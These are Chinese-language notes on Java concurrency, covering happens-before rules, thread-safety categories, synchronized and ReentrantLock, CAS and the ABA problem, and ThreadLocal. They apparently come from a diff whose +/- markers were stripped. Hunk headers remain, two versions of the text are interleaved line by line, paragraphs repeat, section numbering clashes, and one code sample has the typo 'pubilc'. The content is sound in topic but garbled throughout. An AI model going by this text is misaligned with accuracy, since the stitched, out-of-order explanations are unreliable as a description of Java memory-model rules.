本线程内观察,所有的操作都是有序的;如果在一个线程中观察另一个线程,所有的操作都是无序的。前半句是指线程内表现为串行的语义,后半句是指指令重排和工作内存和主内存存在同步延迟的现象
在 Java 内存模型中,允许编译器和处理器对指令进行重排序,重排序过程不会影响到单线程程序的执行,却会影响到多线程并发执行的正确性
Java 语言提供了 volatile 和 synchronized 两个关键字来保证线程之间操作的有序性volatile 关键字本身就包含了禁止指令重排序的语义,而 synchronized 则是由“一个变量在同一个时刻只允许一条线程对其进行 lock 操作”这条规则获得的,这条规则决定了持有同一个锁的两个同步块只能串行地进入
volatile 关键字通过添加内存屏障的方式来禁止指令重排,即重排序时不能把后面的指令放到内存屏障之前
synchronized 关键字在需要这 3 种特性的时候都可以作为其中一种的解决方案,看起来很“万能”。的确,大部分的并发控制操作都能使用 synchronized 来完成。synchronized 的“万能”也间接造就了它被程序员滥用的局面,越“万能”的并发控制,通常会伴随着越大的性能影响
也可以通过 synchronized 来保证有序性,它保证每个时刻只有一个线程执行同步代码,相当于是让线程顺序执行同步代码,自然就保证了有序性
## 6. 先行发生原则
## 先行发生原则
如果 Java 内存模型中所有的有序性都只靠 volatile 和 synchronized 来完成,那么有一些操作将会变得很繁琐,但是我们在编写 Java 并发代码的时候并没有感觉到这一点,这是因为 Java 语言中有一个“先行发生”(Happen-Before) 的原则。这个原则非常重要,它是判断数据是否存在竞争,线程是否安全的主要依据。依靠这个原则,我们可以通过几条规则一次性地解决并发环境下两个操作之间是否可能存在冲突的所有问题
上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外JVM 还规定了先行发生原则,让一个操作无需控制就能先于另一个操作完成
先行发生是 Java 内存模型中定义的两项操作之间的偏序关系,如果说操作 A 先行发生于操作 B其实就是说在发生操作 B 之前,操作 A 产生的影响能被操作 B 观察到,“影响”包括修改了内存中共享变量的值、发送了消息、调用了方法等。
主要有以下这些原则:
```java
// 以下操作在线程 A 中执行
k = 1;
// 以下操作在线程 B 中执行
j = k;
// 以下操作在线程 C 中执行
k = 2;
```
### 1. 单一线程原则
假设线程 A 中的操作“k=1”先行发生于线程 B 的操作“j=k”那么可以确定在线程 B 的操作执行后,变量 j 的值一定等于 1得出这个结论的依据有两个一是根据先行发生原则“k=1”的结果可以被观察到二是线程 C 还没“登场”,线程 A 操作结束之后没有其他线程会修改变量 k 的值。现在再来考虑线程 C我们依然保持线程 A 和线程 B 之间的先行发生关系,而线程 C 出现在线程 A 和线程 B 的操作之间,但是线程 C 与线程 B 没有先行发生关系,那 j 的值会是多少呢答案是不确定1 和 2 都有可能,因为线程 C 对变量 k 的影响可能会被线程 B 观察到,也可能不会,这时候线程 B 就存在读取到过期数据的风险,不具备多线程安全性。
> Single thread rule
下面是 Java 内存模型下一些“天然的”先行发生关系,这些先行发生关系无须任何同步器协助就已经存在,可以在编码中直接使用。如果两个操作之间的关系不在此列,并且无法从下列规则推导出来的话,它们就没有顺序性保障,虚拟机可以对它们随意地进行重排序
在一个线程内,在程序前面的操作先行发生于后面的操作。
- 程序次序规则Program Order Rule在一个线程内按照程序代码顺序书写在前面的操作先行发生于书写在后面的操作。准确地说应该是控制流顺序而不是程序代码顺序因为要考虑分支、循环等结构。
- 管程锁定规则Monitor Lock Rule一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。这里必须强调的是同一个锁,而“后面”是指时间上的先后顺序。
- volatile 变量规则Volatile Variable Rule对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作,这里的“后面”同样是指时间上的先后顺序。
- 线程启动规则Thread Start RuleThread 对象的 start() 方法先行发生于此线程的每一个动作。
- 线程终止规则Thread Termination Rule线程中的所有操作都先行发生于对此线程的终止检测我们可以通过 Thread.join() 方法结束、Thread.isAlive() 的返回值等手段检测到线程已经终止执行。
- 线程中断规则Thread Interruption Rule对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生,可以通过 Thread.interrupted() 方法检测到是否有中断发生。
- 对象终结规则Finalizer Rule一个对象的初始化完成构造函数执行结束先行发生于它的 finalize() 方法的开始。
- 传递性Transitivity如果操作 A 先行发生于操作 B操作 B 先行发生于操作 C那就可以得出操作 A 先行发生于操作 C 的结论。
<div align="center"> <img src="../pics//single-thread-rule.png"/> </div><br>
```java
private int value = 0;
pubilc void setValue(int value) {
this.value = value;
}
public int getValue() {
return value;
}
```
上述代码显示的是一组再普通不过的 getter/setter 方法,假设存在线程 A 和 B线程 A 先时间上的先后调用了“setValue(1)”,然后线程 B 调用了同一个对象的“getValue()”,那么线程 B 收到的返回值是什么?
### 2. 管程锁定规则
我们依次分析一下先行发生原则中的各项规则,由于两个方法分别由线程 A 和线程 B 调用,不在一个线程中,所以程序次序规则在这里不适用;由于没有同步块,自然就不会发生 lock 和 unlock 操作,所以管程锁定规则不适用;由于 value 变量没有被 volatile 关键字修饰,所以 volatile 变量规则不适用;后面的线程启动、终止、中断规则和对象终结规则也和这里完全没有关系。因为没有一个适用的先行发生规则,所以最后一条传递性也无从谈起,因此我们可以判定尽管线程 A 在操作时间上先于线程 B但是无法确定线程 B 中“getValue()”方法的返回结果,换句话说,这里面的操作不是线程安全的。
> Monitor Lock Rule
那怎么修复这个问题呢?我们至少有两种比较简单的方案可以选择:要么把 getter/setter 方法都定义为 synchronized 方法,这样就可以套用管程锁定规则;要么把 value 定义为 volatile 变量,由于 setter 方法对 value 的修改不依赖 value 的原值,满足 volatile 关键字使用场景,这样就可以套用 volatile 变量规则来实现先行发生关系
一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。
通过上面的例子,我们可以得出结论:一个操作“时间上的先发生”不代表这个操作会是“先行发生”,那如果一个操作“先行发生”是否就能推导出这个操作必定是“时间上的先发生”呢?很遗憾,这个推论也是不成立的,一个典型的例子就是多次提到的“指令重排序”。
<div align="center"> <img src="../pics//monitor-lock-rule.png"/> </div><br>
```java
// 以下操作在同一个线程中执行
int i = 1;
int j = 2;
```
### 3. volatile 变量规则
代码清单的两条赋值语句在同一个线程之中根据程序次序规则“int i=1”的操作先行发生于“int j=2”但是“int j=2”的代码完全可能先被处理器执行这并不影响先行发生原则的正确性因为我们在这条线程之中没有办法感知到这点。
> Volatile Variable Rule
上面两个例子综合起来证明了一个结论:时间先后顺序与先行发生原则之间基本没有太大的关系,所以我们衡量并发安全问题的时候不要受到时间顺序的干扰,一切必须以先行发生原则为准
对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
# 九、线程安全
<div align="center"> <img src="../pics//volatile-variable-rule.png"/> </div><br>
《Java Concurrency In Practice》的作者 Brian Goetz 对“线程安全”有一个比较恰当的定义:“当多个线程访问一个对象时,如果不用考虑这些线程在运行时环境下的调度和交替执行,也不需要进行额外的同步,或者在调用方进行任何其他的协调操作,调用这个对象的行为都可以获得正确的结果,那这个对象是线程安全的”。
### 4. 线程启动规则
这个定义比较严谨,它要求线程安全的代码都必须具备一个特征:代码本身封装了所有必要的正确性保障手段(如互斥同步等),令调用者无须关心多线程的问题,更无须自己采取任何措施来保证多线程的正确调用。这点听起来简单,但其实并不容易做到,在大多数场景中,我们都会将这个定义弱化一些,如果把“调用这个对象的行为”限定为“单次调用”,这个定义的其他描述也能够成立的话,我们就可以称它是线程安全了,为什么要弱化这个定义,现在暂且放下,稍后再详细探讨。
> Thread Start Rule
## 1. Java 语言中的线程安全
Thread 对象的 start() 方法先行发生于此线程的每一个动作。
我们这里讨论的线程安全,就限定于多个线程之间存在共享数据访问这个前提,因为如果一段代码根本不会与其他线程共享数据,那么从线程安全的角度来看,程序是串行执行还是多线程执行对它来说是完全没有区别的。
<div align="center"> <img src="../pics//thread-start-rule.png"/> </div><br>
为了更加深入地理解线程安全,在这里我们可以不把线程安全当做一个非真即假的二元排他选项来看待,按照线程安全的“安全程度”由强至弱来排序,我们可以将 Java 语言中各种操作共享的数据分为以下 5 类:不可变、绝对线程安全、相对线程安全、线程兼容和线程对立。
### 5. 线程加入规则
### 1.1 不可变
> Thread Join Rule
在 Java 语言中(特指 JDK 1.5 以后,即 Java 内存模型被修正之后的 Java 语言不可变Immutable的对象一定是线程安全的无论是对象的方法实现还是方法的调用者都不需要再采取任何的线程安全保障措施只要一个不可变的对象被正确地构建出来没有发生 this 引用逃逸的情况),那其外部的可见状态永远也不会改变,永远也不会看到它在多个线程之中处于不一致的状态。“不可变”带来的安全性是最简单和最纯粹的
join() 方法返回先行发生于 Thread 对象的结束
Java 语言中,如果共享数据是一个基本数据类型,那么只要在定义时使用 final 关键字修饰它就可以保证它是不可变的。如果共享数据是一个对象,那就需要保证对象的行为不会对其状态产生任何影响才行,不妨想一想 java.lang.String 类的对象,它是一个典型的不可变对象,我们调用它的 substring()、replace() 和 concat() 这些方法都不会影响它原来的值,只会返回一个新构造的字符串对象。
<div align="center"> <img src="../pics//thread-join-rule.png"/> </div><br>
保证对象行为不影响自己状态的途径有很多种,其中最简单的就是把对象中带有状态的变量都声明为 final这样在构造函数结束之后它就是不可变的。
### 6. 线程中断规则
在 Java API 中符合不可变要求的类型,除了上面提到的 String 之外,常用的还有枚举类型,以及 java.lang.Number 的部分子类,如 Long 和 Double 等数值包装类型BigInteger 和 BigDecimal 等大数据类型;但同为 Number 的子类型的原子类 AtomicInteger 和 AtomicLong 则并非不可变的。
> Thread Interruption Rule
### 1.2 绝对线程安全
对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生,可以通过 Thread.interrupted() 方法检测到是否有中断发生。
绝对的线程安全完全满足 Brian Goetz 给出的线程安全的定义,这个定义其实是很严格的,一个类要达到“不管运行时环境如何,调用者都不需要任何额外的同步措施”通常需要付出很大的,甚至有时候是不切实际的代价。在 Java API 中标注自己是线程安全的类,大多数都不是绝对的线程安全。我们可以通过 Java API 中一个不是“绝对线程安全”的线程安全类来看看这里的“绝对”是什么意思。
### 7. 对象终结规则
如果说 java.util.Vector 是一个线程安全的容器,相信所有的 Java 程序员对此都不会有异议,因为它的 add()、get() 和 size() 这类方法都是被 synchronized 修饰的,尽管这样效率很低,但确实是安全的。但是,即使它所有的方法都被修饰成同步,也不意味着调用它的时候永远都不再需要同步手段了。
> Finalizer Rule
一个对象的初始化完成(构造函数执行结束)先行发生于它的 finalize() 方法的开始。
### 8. 传递性
> Transitivity
如果操作 A 先行发生于操作 B操作 B 先行发生于操作 C那么操作 A 先行发生于操作 C。
# 八、线程安全
当多个线程访问一个对象时,如果不用考虑这些线程在运行时环境下的调度和交替执行,也不需要进行额外的同步,或者在调用方进行任何其他的协调操作,调用这个对象的行为都可以获得正确的结果,那这个对象是线程安全的。 《Java Concurrency In Practice》
## 线程安全分类
### 1. 不可变
不可变Immutable的对象一定是线程安全的无论是对象的方法实现还是方法的调用者都不需要再采取任何的线程安全保障措施只要一个不可变的对象被正确地构建出来那其外部的可见状态永远也不会改变永远也不会看到它在多个线程之中处于不一致的状态。
不可变的类:
- String
- Number 部分子类,如 Long 和 Double 等数值包装类型BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的子类型的原子类 AtomicInteger 和 AtomicLong 则并非不可变的。
可以使用 final 关键字修饰一个基本数据类型的共享数据,使它具有不可变性。
### 2. 绝对线程安全
在 Java API 中标注自己是线程安全的类大多数都不是绝对的线程安全。例如Vector 是一个线程安全的容器,它的方法被 synchronized 被修饰同步。即使是这样,也不意味着调用它的时候永远都不再需要同步手段了。
对于下面的代码,在多线程的环境中,如果不在方法调用端做额外的同步措施的话,使用这段代码仍然是不安全的。因为如果另一个线程恰好在错误的时间里删除了一个元素,导致序号 i 已经不再可用的话,再用 i 访问数组就会抛出一个 ArrayIndexOutOfBoundsException。
```java
private static Vector<Integer> vector = new Vector<Integer>();
@ -632,21 +599,20 @@ public static void main(String[] args) {
removeThread.start();
printThread.start();
// 不要同时产生过多的线程,否则会导致操作系统假死
while (Thread.activeCount() > 20);
}
}
```
```html
Exception in thread"Thread-132"java.lang.ArrayIndexOutOfBoundsException
Exception in thread "Thread-132" java.lang.ArrayIndexOutOfBoundsException
Array index out of range17
at java.util.Vector.removeVector.java777
at org.fenixsoft.mulithread.VectorTest$1.runVectorTest.java21
at java.lang.Thread.runThread.java662
```
很明显,尽管这里使用到的 Vector 的 get()、remove() 和 size() 方法都是同步的,但是在多线程的环境中,如果不在方法调用端做额外的同步措施的话,使用这段代码仍然是不安全的,因为如果另一个线程恰好在错误的时间里删除了一个元素,导致序号 i 已经不再可用的话,再用 i 访问数组就会抛出一个 ArrayIndexOutOfBoundsException。如果要保证这段代码能正确执行下去我们不得不把 removeThread 和 printThread 的定义改成如下所示的样子:
如果要保证上面的代码能正确执行下去,就需要对 removeThread 和 printThread 中的方法进行同步。
```java
Thread removeThread = new Thread(new Runnable() {
@ -672,177 +638,80 @@ Thread printThread = new Thread(new Runnable() {
});
```
### 1.3 相对线程安全
### 3. 相对线程安全
相对的线程安全就是我们通常意义上所讲的线程安全,它需要保证对这个对象单独的操作是线程安全的,我们在调用的时候不需要做额外的保障措施,但是对于一些特定顺序的连续调用,就可能需要在调用端使用额外的同步手段来保证调用的正确性。
相对的线程安全需要保证对这个对象单独的操作是线程安全的,我们在调用的时候不需要做额外的保障措施,但是对于一些特定顺序的连续调用,就可能需要在调用端使用额外的同步手段来保证调用的正确性。
在 Java 语言中,大部分的线程安全类都属于这种类型,例如 Vector、HashTable、Collections 的 synchronizedCollection() 方法包装的集合等。
### 1.4 线程兼容
### 4. 线程兼容
线程兼容是指对象本身并不是线程安全的但是可以通过在调用端正确地使用同步手段来保证对象在并发环境中可以安全地使用我们平常说一个类不是线程安全的绝大多数时候指的是这一种情况。Java API 中大部分的类都是属于线程兼容的,如与前面的 Vector 和 HashTable 相对应的集合类 ArrayList 和 HashMap 等。
### 1.5 线程对立
### 5. 线程对立
线程对立是指无论调用端是否采取了同步措施,都无法在多线程环境中并发使用的代码。由于 Java 语言天生就具备多线程特性,线程对立这种排斥多线程的代码是很少出现的,而且通常都是有害的,应当尽量避免。
一个线程对立的例子是 Thread 类的 suspend() 和 resume() 方法,如果有两个线程同时持有一个线程对象,一个尝试去中断线程,另一个尝试去恢复线程,如果并发进行的话,无论调用时是否进行了同步,目标线程都是存在死锁风险的,如果 suspend() 中断的线程就是即将要执行 resume() 的那个线程那就肯定要产生死锁了。也正是由于这个原因suspend() 和 resume() 方法已经被 JDK 声明废弃(@Deprecated)了。常见的线程对立的操作还有 System.setIn()、Sytem.setOut() 和 System.runFinalizersOnExit() 等。
## 线程安全的实现方法
## 2. 线程安全的实现方法
如何实现线程安全与代码编写有很大的关系,但虚拟机提供的同步和锁机制也起到了非常重要的作用。
如何实现线程安全与代码编写有很大的关系,但虚拟机提供的同步和锁机制也起到了非常重要的作用。本节中,代码编写如何实现线程安全和虚拟机如何实现同步与锁这两者都会有所涉及,相对而言更偏重后者一些,只要读者了解了虚拟机线程安全手段的运作过程,自己去思考代码如何编写并不是一件困难的事情。
### 1. 互斥同步
### 2.1 互斥同步
synchronized 和 ReentrantLock。
互斥同步Mutual ExclusionSynchronization是常见的一种并发正确性保障手段。同步是指在多个线程并发访问共享数据时保证共享数据在同一个时刻只被一个或者是一些使用信号量的时候线程使用。而互斥是实现同步的一种手段临界区Critical Section、互斥量Mutex和信号量Semaphore都是主要的互斥实现方式。因此在这 4 个字里面,互斥是因,同步是果;互斥是方法,同步是目的。
### 2. 非阻塞同步
在 Java 中,最基本的互斥同步手段就是 synchronized 关键字synchronized 关键字经过编译之后,会在同步块的前后分别形成 monitorenter 和 monitorexit 这两个字节码指令,这两个字节码都需要一个 reference 类型的参数来指明要锁定和解锁的对象。如果 Java 程序中的 synchronized 明确指定了对象参数,那就是这个对象的 reference如果没有明确指定那就根据 synchronized 修饰的是实例方法还是类方法,去取对应的对象实例或 Class 对象来作为锁对象
互斥同步最主要的问题就是进行线程阻塞和唤醒所带来的性能问题因此这种同步也称为阻塞同步Blocking Synchronization
根据虚拟机规范的要求,在执行 monitorenter 指令时,首先要尝试获取对象的锁。如果这个对象没被锁定,或者当前线程已经拥有了那个对象的锁,把锁的计数器加 1相应的在执行 monitorexit 指令时会将锁计数器减 1当计数器为 0 时,锁就被释放。如果获取对象锁失败,那当前线程就要阻塞等待,直到对象锁被另外一个线程释放为止
从处理问题的方式上说互斥同步属于一种悲观的并发策略总是认为只要不去做正确的同步措施例如加锁那就肯定会出现问题无论共享数据是否真的会出现竞争它都要进行加锁这里讨论的是概念模型实际上虚拟机会优化掉很大一部分不必要的加锁、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。随着硬件指令集的发展我们有了另外一个选择基于冲突检测的乐观并发策略通俗地说就是先进行操作如果没有其他线程争用共享数据那操作就成功了如果共享数据有争用产生了冲突那就再采取其他的补偿措施最常见的补偿措施就是不断地重试直到成功为止这种乐观的并发策略的许多实现都不需要把线程挂起因此这种同步操作称为非阻塞同步Non-Blocking Synchronization
在虚拟机规范对 monitorenter 和 monitorexit 的行为描述中有两点是需要特别注意的。首先synchronized 同步块对同一条线程来说是可重入的不会出现自己把自己锁死的问题。其次同步块在已进入的线程执行完之前会阻塞后面其他线程的进入。Java 的线程是映射到操作系统的原生线程之上的,如果要阻塞或唤醒一个线程,都需要操作系统来帮忙完成,这就需要从用户态转换到核心态中,因此状态转换需要耗费很多的处理器时间。对于代码简单的同步块(如被 synchronized 修饰的 getter() 或 setter() 方法),状态转换消耗的时间有可能比用户代码执行的时间还要长。所以 synchronized 是 Java 语言中一个重量级Heavyweight的操作有经验的程序员都会在确实必要的情况下才使用这种操作。而虚拟机本身也会进行一些优化譬如在通知操作系统阻塞线程之前加入一段自旋等待过程避免频繁地切入到核心态之中
乐观锁需要操作和冲突检测这两个步骤具备原子性这里就不能再使用互斥同步来保证了只能靠硬件来完成。硬件支持的原子性操作最典型的是比较并交换Compare-and-SwapCAS
除了 synchronized 之外,我们还可以使用 java.util.concurrent下文称 J.U.C包中的重入锁ReentrantLock来实现同步在基本用法上ReentrantLock 与 synchronized 很相似,他们都具备一样的线程重入特性,只是代码写法上有点区别,一个表现为 API 层面的互斥锁lock() 和 unlock() 方法配合 try/finally 语句块来完成),另一个表现为原生语法层面的互斥锁。不过,相比 synchronized,ReentrantLock 增加了一些高级功能,主要有以下 3 项:等待可中断、可实现公平锁,以及锁可以绑定多个条件
CAS 指令需要有 3 个操作数,分别是内存位置(在 Java 中可以简单理解为变量的内存地址,用 V 表示)、旧的预期值(用 A 表示)和新值(用 B 表示。CAS 指令执行时,当且仅当 V 符合旧预期值 A 时,处理器用新值 B 更新 V 的值,否则它就不执行更新。但是无论是否更新了 V 的值,都会返回 V 的旧值,上述的处理过程是一个原子操作
- 等待可中断是指当持有锁的线程长期不释放锁的时候,正在等待的线程可以选择放弃等待,改为处理其他事情,可中断特性对处理执行时间非常长的同步块很有帮助
J.U.C 包里面的整数原子类 AtomicInteger其中的 compareAndSet() 和 getAndIncrement() 等方法都使用了 Unsafe 类的 CAS 操作
- 公平锁是指多个线程在等待同一个锁时必须按照申请锁的时间顺序来依次获得锁而非公平锁则不保证这一点在锁被释放时任何一个等待锁的线程都有机会获得锁。synchronized 中的锁是非公平的ReentrantLock 默认情况下也是非公平的,但可以通过带布尔值的构造函数要求使用公平锁
ABA :如果一个变量 V 初次读取的时候是 A 值,它的值被改成了 B后来又被改回为 A那 CAS 操作就会误认为它从来没有被改变过。大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效
- 锁绑定多个条件是指一个 ReentrantLock 对象可以同时绑定多个 Condition 对象,而在 synchronized 中,锁对象的 wait() 和 notify() 或 notifyAll() 方法可以实现一个隐含的条件,如果要和多于一个的条件关联的时候,就不得不额外地添加一个锁,而 ReentrantLock 则无须这样做,只需要多次调用 newCondition() 方法即可。
### 3. 无同步方案
如果需要使用上述功能,选用 ReentrantLock 是一个很好的选择,那如果是基于性能考虑呢?关于 synchronized 和 ReentrantLock 的性能问题Brian Goetz 对这两种锁在 JDK 1.5 与单核处理器,以及 JDK 1.5 与双 Xeon 处理器环境下做了一组吞吐量对比的实验,实验结果如图 13-1 和图 13-2 所示
要保证线程安全,并不是一定就要进行同步,两者没有因果关系。同步只是保证共享数据争用时的正确性的手段,如果一个方法本来就不涉及共享数据,那它自然就无须任何同步措施去保证正确性,因此会有一些代码天生就是线程安全的
<div align="center"> <img src="../pics//d4a05b9c-f423-4137-9510-b6851f089edb.jpg"/> </div><br>
<div align="center"> JDK 1.5、单核处理器下两种锁的吞吐量对比 </div><br>
**可重入代码Reentrant Code**
<div align="center"> <img src="../pics//acc42b0f-10ba-4fa2-8694-cf2aab1fb434.jpg"/> </div><br>
<div align="center"> JDK 1.5、双 Xeon 处理器下两种锁的吞吐量对比 </div><br>
多线程环境下 synchronized 的吞吐量下降得非常严重,而 ReentrantLock 则能基本保持在同一个比较稳定的水平上。与其说 ReentrantLock 性能好,还不如说 synchronized 还有非常大的优化余地。后续的技术发展也证明了这一点JDK 1.6 中加入了很多针对锁的优化措施JDK 1.6 发布之后,人们就发现 synchronized 与 ReentrantLock 的性能基本上是完全持平了。因此,如果读者的程序是使用 JDK 1.6 或以上部署的话,性能因素就不再是选择 ReentrantLock 的理由了,虚拟机在未来的性能改进中肯定也会更加偏向于原生的 synchronized所以还是提倡在 synchronized 能实现需求的情况下,优先考虑使用 synchronized 来进行同步。
### 2.2 非阻塞同步
互斥同步最主要的问题就是进行线程阻塞和唤醒所带来的性能问题因此这种同步也称为阻塞同步Blocking Synchronization。从处理问题的方式上说互斥同步属于一种悲观的并发策略总是认为只要不去做正确的同步措施例如加锁那就肯定会出现问题无论共享数据是否真的会出现竞争它都要进行加锁这里讨论的是概念模型实际上虚拟机会优化掉很大一部分不必要的加锁、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。随着硬件指令集的发展我们有了另外一个选择基于冲突检测的乐观并发策略通俗地说就是先进行操作如果没有其他线程争用共享数据那操作就成功了如果共享数据有争用产生了冲突那就再采取其他的补偿措施最常见的补偿措施就是不断地重试直到成功为止这种乐观的并发策略的许多实现都不需要把线程挂起因此这种同步操作称为非阻塞同步Non-Blocking Synchronization
为什么笔者说使用乐观并发策略需要“硬件指令集的发展”才能进行呢?因为我们需要操作和冲突检测这两个步骤具备原子性,靠什么来保证呢?如果这里再使用互斥同步来保证就失去意义了,所以我们只能靠硬件来完成这件事情,硬件保证一个从语义上看起来需要多次操作的行为只通过一条处理器指令就能完成,这类指令常用的有:
- 测试并设置Test-and-Set
- 获取并增加Fetch-and-Increment
- 交换Swap
- 比较并交换Compare-and-Swap下文称 CAS
- 加载链接/条件存储Load-Linked/Store-Conditional下文称 LL/SC
其中,前面的 3 条是 20 世纪就已经存在于大多数指令集之中的处理器指令,后面的两条是现代处理器新增的,而且这两条指令的目的和功能是类似的。在 IA64、x86 指令集中有 cmpxchg 指令完成 CAS 功能,在 sparc-TSO 也有 casa 指令实现,而在 ARM 和 PowerPC 架构下,则需要使用一对 ldrex/strex 指令来完成 LL/SC 的功能。
**CAS** 指令需要有 3 个操作数,分别是内存位置(在 Java 中可以简单理解为变量的内存地址,用 V 表示)、旧的预期值(用 A 表示)和新值(用 B 表示。CAS 指令执行时,当且仅当 V 符合旧预期值 A 时,处理器用新值 B 更新 V 的值,否则它就不执行更新,但是无论是否更新了 V 的值,都会返回 V 的旧值,上述的处理过程是一个原子操作。
在 JDK 1.5 之后Java 程序中才可以使用 CAS 操作,该操作由 sun.misc.Unsafe 类里面的 compareAndSwapInt() 和 compareAndSwapLong() 等几个方法包装提供,虚拟机在内部对这些方法做了特殊处理,即时编译出来的结果就是一条平台相关的处理器 CAS 指令,没有方法调用的过程,或者可以认为是无条件内联进去了。
由于 Unsafe 类不是提供给用户程序调用的类Unsafe.getUnsafe() 的代码中限制了只有启动类加载器Bootstrap ClassLoader加载的 Class 才能访问它),因此,如果不采用反射手段,我们只能通过其他的 Java API 来间接使用它,如 J.U.C 包里面的整数原子类,其中的 compareAndSet() 和 getAndIncrement() 等方法都使用了 Unsafe 类的 CAS 操作。
这段 20 个线程自增 10000 次的代码使用了 AtomicInteger 之后程序输出了正确结果,一切都要归功于 incrementAndGet() 方法的原子性。
代码清单 4Atomic 的原子自增运算
```java
/**
* Atomic 变量自增运算测试
*
* @author zzm
*/
public class AtomicTest {
public static AtomicInteger race = new AtomicInteger(0);
public static void increase() {
race.incrementAndGet();
}
private static final int THREADS_COUNT = 20;
public static void main(String[] args) throws Exception {
Thread[] threads = new Thread[THREADS_COUNT];
for (int i = 0; i < THREADS_COUNT; i++) {
threads[i] = new Thread(new Runnable() {
@Override
public void run() {
for (int i = 0; i < 10000; i++) {
increase();
}
}
});
threads[i].start();
}
while (Thread.activeCount() > 1)
Thread.yield();
System.out.println(race);
}
}
```
```
200000
```
incrementAndGet() 的实现其实非常简单。
代码清单 5incrementAndGet() 方法的 JDK 源码
```java
/**
* Atomically increment by one the current value.
* @return the updated value
*/
public final int incrementAndGet() {
for (;;) {
int current = get();
int next = current + 1;
if (compareAndSet(current, next))
return next;
}
}
```
incrementAndGet() 方法在一个无限循环中,不断尝试将一个比当前值大 1 的新值赋给自己。如果失败了,那说明在执行“获取-设置”操作的时候值已经有了修改,于是再次循环进行下一次操作,直到设置成功为止。
尽管 CAS 看起来很美,但显然这种操作无法涵盖互斥同步的所有使用场景,并且 CAS 从语义上来说并不是完美的,存在这样的一个逻辑漏洞:如果一个变量 V 初次读取的时候是 A 值,并且在准备赋值的时候检查到它仍然为 A 值,那我们就能说它的值没有被其他线程改变过了吗?如果在这段期间它的值曾经被改成了 B后来又被改回为 A那 CAS 操作就会误认为它从来没有被改变过。这个漏洞称为 CAS 操作的“ABA”问题。J.U.C 包为了解决这个问题提供了一个带有标记的原子引用类“AtomicStampedReference”它可以通过控制变量值的版本来保证 CAS 的正确性。不过目前来说这个类比较“鸡肋”,大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效。
### 2.3 无同步方案
要保证线程安全,并不是一定就要进行同步,两者没有因果关系。同步只是保证共享数据争用时的正确性的手段,如果一个方法本来就不涉及共享数据,那它自然就无须任何同步措施去保证正确性,因此会有一些代码天生就是线程安全的,笔者简单地介绍其中的两类。
**可重入代码** Reentrant Code这种代码也叫做纯代码Pure Code可以在代码执行的任何时刻中断它转而去执行另外一段代码包括递归调用它本身而在控制权返回后原来的程序不会出现任何错误。相对线程安全来说可重入性是更基本的特性它可以保证线程安全即所有的可重入的代码都是线程安全的但是并非所有的线程安全的代码都是可重入的。
这种代码也叫做纯代码Pure Code可以在代码执行的任何时刻中断它转而去执行另外一段代码包括递归调用它本身而在控制权返回后原来的程序不会出现任何错误。相对线程安全来说可重入性是更基本的特性它可以保证线程安全即所有的可重入的代码都是线程安全的但是并非所有的线程安全的代码都是可重入的。
可重入代码有一些共同的特征,例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。我们可以通过一个简单的原则来判断代码是否具备可重入性:如果一个方法,它的返回结果是可以预测的,只要输入了相同的数据,就都能返回相同的结果,那它就满足可重入性的要求,当然也就是线程安全的。
**线程本地存储** Thread Local Storage如果一段代码中所需要的数据必须与其他代码共享那就看看这些共享数据的代码是否能保证在同一个线程中执行如果能保证我们就可以把共享数据的可见范围限制在同一个线程之内这样无须同步也能保证线程之间不出现数据争用的问题。
**线程本地存储Thread Local Storage**
如果一段代码中所需要的数据必须与其他代码共享,那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证,我们就可以把共享数据的可见范围限制在同一个线程之内,这样,无须同步也能保证线程之间不出现数据争用的问题。
符合这种特点的应用并不少见,大部分使用消费队列的架构模式(如“生产者-消费者”模式)都会将产品的消费过程尽量在一个线程中消费完,其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”Thread-per-Request的处理方式这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
Java 语言中,如果一个变量要被多线程访问,可以使用 volatile 关键字声明它为“易变的”如果一个变量要被某个线程独享Java 中就没有类似 C++中 \_\_declspecthread这样的关键字不过还是可以通过 java.lang.ThreadLocal 类来实现线程本地存储的功能。每一个线程的 Thread 对象中都有一个 ThreadLocalMap 对象,这个对象存储了一组以 ThreadLocal.threadLocalHashCode 为键,以本地线程变量为值的 K-V 值对ThreadLocal 对象就是当前线程的 ThreadLocalMap 的访问入口,每一个 ThreadLocal 对象都包含了一个独一无二的 threadLocalHashCode 值,使用这个值就可以在线程 K-V 值对中找回对应的本地线程变量。
# 十、锁优化
ThreadLocal 从理论上讲并不是用来解决多线程并发问题的,因为根本不存在多线程竞争。在一些场景 (尤其是使用线程池) 下, 由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况,尽可能在每次使用 ThreadLocal 后手动调用 remove(),以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
## 锁优化
高效并发是从 JDK 1.5 到 JDK 1.6 的一个重要改进HotSpot 虚拟机开发团队在这个版本上花费了大量的精力去实现各种锁优化技术如适应性自旋Adaptive Spinning、锁消除Lock Elimination、锁粗化Lock Coarsening、轻量级锁Lightweight Locking和偏向锁Biased Locking等。这些技术都是为了在线程之间更高效地共享数据以及解决竞争问题从而提高程序的执行效率。
## 1. 自旋锁与自适应自旋
### 1. 自旋锁与自适应自旋
